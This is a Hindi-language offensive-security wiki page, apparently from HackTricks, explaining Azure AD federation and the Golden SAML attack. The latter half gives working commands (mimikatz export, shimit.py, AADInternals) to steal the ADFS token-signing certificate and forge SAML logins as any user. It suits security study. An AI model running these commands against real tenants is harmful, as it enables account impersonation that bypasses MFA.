Az - Federation

Basic Information

From the docs:फेडरेशन एक डोमेन का संग्रह है जिसने विश्वास स्थापित किया है। विश्वास का स्तर भिन्न हो सकता है, लेकिन आमतौर पर इसमें प्रमाणीकरण शामिल होता है और लगभग हमेशा अधिकार शामिल होता है। एक सामान्य फेडरेशन में संस्थाओं की संख्या शामिल हो सकती है जिन्होंने संसाधनों के एक सेट तक साझा पहुंच के लिए विश्वास स्थापित किया है।

आप अपने ऑन-प्रिमाइसेस वातावरण को Azure AD के साथ फेडरेट कर सकते हैं और इस फेडरेशन का उपयोग प्रमाणीकरण और अधिकार के लिए कर सकते हैं। यह साइन-इन विधि सुनिश्चित करती है कि सभी उपयोगकर्ता प्रमाणीकरण ऑन-प्रिमाइसेस पर होता है। यह विधि प्रशासकों को अधिक कठोर स्तरों के पहुंच नियंत्रण को लागू करने की अनुमति देती है। AD FS और PingFederate के साथ फेडरेशन उपलब्ध है।

बुनियादी रूप से, फेडरेशन में, सभी प्रमाणीकरण ऑन-प्रिम वातावरण में होता है और उपयोगकर्ता सभी विश्वसनीय वातावरणों में SSO का अनुभव करता है। इसलिए, उपयोगकर्ता अपने ऑन-प्रिम क्रेडेंशियल्स का उपयोग करके क्लाउड अनुप्रयोगों तक पहुँच कर सकते हैं।

सिक्योरिटी असेर्शन मार्कअप लैंग्वेज (SAML) का उपयोग सभी प्रमाणीकरण और अधिकार जानकारी के अदला-बदली के लिए किया जाता है।

किसी भी फेडरेशन सेटअप में तीन पक्ष होते हैं:

• उपयोगकर्ता या क्लाइंट

• पहचान प्रदाता (IdP)

• सेवा प्रदाता (SP)

(Images from https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

1. प्रारंभ में, एक अनुप्रयोग (सेवा प्रदाता या SP, जैसे AWS कंसोल या vSphere वेब क्लाइंट) का उपयोगकर्ता द्वारा उपयोग किया जाता है। यह कदम बायपास किया जा सकता है, जिससे क्लाइंट सीधे IdP (पहचान प्रदाता) पर जा सकता है, जो विशिष्ट कार्यान्वयन पर निर्भर करता है।

2. इसके बाद, SP उपयोगकर्ता प्रमाणीकरण के लिए उपयुक्त IdP (जैसे, AD FS, Okta) की पहचान करता है। फिर यह एक SAML (सिक्योरिटी असेर्शन मार्कअप लैंग्वेज) AuthnRequest तैयार करता है और क्लाइंट को चुने हुए IdP पर पुनः मार्गदर्शित करता है।

3. IdP आगे बढ़ता है, उपयोगकर्ता को प्रमाणीकरण करता है। प्रमाणीकरण के बाद, IdP द्वारा एक SAMLResponse तैयार किया जाता है और उपयोगकर्ता के माध्यम से SP को अग्रेषित किया जाता है।

4. अंततः, SP SAMLResponse का मूल्यांकन करता है। यदि सफलतापूर्वक मान्य किया गया, जो IdP के साथ एक विश्वास संबंध को इंगित करता है, तो उपयोगकर्ता को पहुंच दी जाती है। यह लॉगिन प्रक्रिया के पूरा होने को चिह्नित करता है, जिससे उपयोगकर्ता सेवा का उपयोग कर सकता है।

यदि आप SAML प्रमाणीकरण और सामान्य हमलों के बारे में अधिक जानना चाहते हैं तो जाएं:

SAML AttacksHackTricks

Pivoting

• AD FS एक क्लेम-आधारित पहचान मॉडल है।

• "..क्लेम्स बस उपयोगकर्ताओं के बारे में किए गए बयानों (जैसे, नाम, पहचान, समूह) हैं, जो मुख्य रूप से इंटरनेट पर कहीं भी क्लेम-आधारित अनुप्रयोगों तक पहुंच को अधिकृत करने के लिए उपयोग किए जाते हैं।"

• एक उपयोगकर्ता के लिए क्लेम SAML टोकनों के अंदर लिखे जाते हैं और फिर IdP द्वारा गोपनीयता प्रदान करने के लिए हस्ताक्षरित होते हैं।

• एक उपयोगकर्ता को ImmutableID द्वारा पहचाना जाता है। यह वैश्विक रूप से अद्वितीय है और Azure AD में संग्रहीत है।

• ImmutableID उपयोगकर्ता के लिए ऑन-प्रिम में ms-DS-ConsistencyGuid पर संग्रहीत होता है और/या उपयोगकर्ता के GUID से निकाला जा सकता है।

• अधिक जानकारी https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims में है।

गोल्डन SAML हमला:

• ADFS में, SAML Response एक टोकन-हस्ताक्षरित प्रमाणपत्र द्वारा हस्ताक्षरित होता है।

• यदि प्रमाणपत्र से समझौता किया जाता है, तो Azure AD में किसी भी उपयोगकर्ता के रूप में प्रमाणीकरण करना संभव है जो Azure AD के साथ समन्वयित है!

• हमारे PTA दुरुपयोग की तरह, किसी उपयोगकर्ता के लिए पासवर्ड परिवर्तन या MFA का कोई प्रभाव नहीं होगा क्योंकि हम प्रमाणीकरण प्रतिक्रिया को जाली बना रहे हैं।

• प्रमाणपत्र को DA विशेषाधिकार के साथ AD FS सर्वर से निकाला जा सकता है और फिर इसे किसी भी इंटरनेट से जुड़े मशीन से उपयोग किया जा सकता है।

• अधिक जानकारी https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps में है।

गोल्डन SAML

एक पहचान प्रदाता (IdP) द्वारा उपयोगकर्ता साइन-इन को अधिकृत करने के लिए SAMLResponse उत्पन्न करने की प्रक्रिया महत्वपूर्ण है। IdP के विशिष्ट कार्यान्वयन के आधार पर, प्रतिक्रिया को हस्ताक्षरित या एन्क्रिप्ट किया जा सकता है IdP की निजी कुंजी का उपयोग करके। यह प्रक्रिया सेवा प्रदाता (SP) को SAMLResponse की प्रामाणिकता की पुष्टि करने की अनुमति देती है, यह सुनिश्चित करते हुए कि यह वास्तव में एक विश्वसनीय IdP द्वारा जारी किया गया था।

गोल्डन टिकट हमले के साथ एक समानांतर खींचा जा सकता है, जहां उपयोगकर्ता की पहचान और अनुमतियों (गोल्डन टिकट के लिए KRBTGT, गोल्डन SAML के लिए टोकन-हस्ताक्षरित निजी कुंजी) को प्रमाणीकरण वस्तु (TGT या SAMLResponse) को जाली बनाने के लिए हेरफेर किया जा सकता है। यह किसी भी उपयोगकर्ता का अनुकरण करने की अनुमति देता है, SP तक अनधिकृत पहुंच प्रदान करता है।

गोल्डन SAML कुछ लाभ प्रदान करते हैं:

• इन्हें दूरस्थ रूप से बनाया जा सकता है, बिना डोमेन या फेडरेशन का हिस्सा बने।

• ये दो-कारक प्रमाणीकरण (2FA) सक्षम होने पर भी प्रभावी रहते हैं।

• टोकन-हस्ताक्षरित निजी कुंजी स्वचालित रूप से नवीनीकरण नहीं करती है।

• किसी उपयोगकर्ता का पासवर्ड बदलने से पहले से उत्पन्न SAML अमान्य नहीं होता।

AWS + AD FS + गोल्डन SAML

एक्टिव डायरेक्टरी फेडरेशन सर्विसेज (AD FS) एक Microsoft सेवा है जो विश्वसनीय व्यापार भागीदारों (फेडरेशन) के बीच पहचान जानकारी के सुरक्षित आदान-प्रदान की सुविधा प्रदान करती है। यह मूल रूप से एक डोमेन सेवा को एक फेडरेशन के भीतर अन्य सेवा प्रदाताओं के साथ उपयोगकर्ता पहचान साझा करने की अनुमति देती है।

AWS द्वारा समझौता किए गए डोमेन (एक फेडरेशन में) पर भरोसा करने के साथ, इस भेद्यता का उपयोग संभावित रूप से AWS वातावरण में किसी भी अनुमतियों को प्राप्त करने के लिए किया जा सकता है। हमले के लिए SAML वस्तुओं पर हस्ताक्षर करने के लिए उपयोग की जाने वाली निजी कुंजी की आवश्यकता होती है, जैसे कि गोल्डन टिकट हमले में KRBTGT की आवश्यकता होती है। AD FS उपयोगकर्ता खाते तक पहुंच इस निजी कुंजी को प्राप्त करने के लिए पर्याप्त है।

गोल्डन SAML हमले को निष्पादित करने के लिए आवश्यकताएँ हैं:

• टोकन-हस्ताक्षरित निजी कुंजी

• IdP सार्वजनिक प्रमाणपत्र

• IdP नाम

• भूमिका नाम (धारण करने के लिए भूमिका)

• डोमेन\उपयोगकर्ता नाम

• AWS में भूमिका सत्र नाम

• अमेज़न खाता आईडी

केवल बोल्ड में दिए गए आइटम अनिवार्य हैं। अन्य को इच्छानुसार भरा जा सकता है।

निजी कुंजी प्राप्त करने के लिए, AD FS उपयोगकर्ता खाते तक पहुंच आवश्यक है। वहां से, निजी कुंजी को mimikatz जैसे उपकरणों का उपयोग करके व्यक्तिगत स्टोर से निर्यात किया जा सकता है। अन्य आवश्यक जानकारी एकत्र करने के लिए, आप Microsoft.Adfs.Powershell स्नैपिन का उपयोग कर सकते हैं, यह सुनिश्चित करते हुए कि आप ADFS उपयोगकर्ता के रूप में लॉग इन हैं:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

सभी जानकारी के साथ, आप shimit** का उपयोग करके उस उपयोगकर्ता के रूप में एक मान्य SAMLResponse को भूलना संभव है जिसे आप अनुकरण करना चाहते हैं:**

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

ऑन-प्रेम -> क्लाउड

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

यह क्लाउड केवल उपयोगकर्ताओं का ImmutableID बनाने और उनकी नकल करने के लिए भी संभव है।

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

संदर्भ

• https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed

• https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps